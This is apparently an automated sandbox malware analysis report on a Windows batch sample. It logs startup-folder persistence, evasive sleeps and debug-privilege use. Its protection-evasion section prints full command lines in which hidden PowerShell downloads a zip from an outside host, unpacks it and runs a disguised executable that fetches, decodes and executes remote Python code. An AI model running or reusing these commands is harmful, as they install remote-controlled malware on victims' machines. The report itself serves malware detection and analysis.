Source: C:\Windows\System32\cmd.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurity.bat Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5377 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4442 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4196 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2224 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416 Thread sleep count: 5377 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416 Thread sleep count: 4442 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572 Thread sleep count: 4196 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568 Thread sleep count: 2224 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7624 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ Jump to behavior
Source: powershell.exe, 0000000A.00000002.1418268767.000001C9DF2E0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi64_7340.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7340, type: MEMORYSTR
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\chcp.com chcp 65001 Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', 'C:\Users\Public\UI4yoSvOgB.zip') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -c Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/UI4yoSvOgB.zip', 'C:/Users/Public/UI4yoSvOgB') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c start "" /min C:\Users\Public\UI4yoSvOgB\synaptics.exe -c "import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https://tvdseo.com/file/STC/STC_BOT').read().decode('utf-8')))" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation Jump to behavior
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
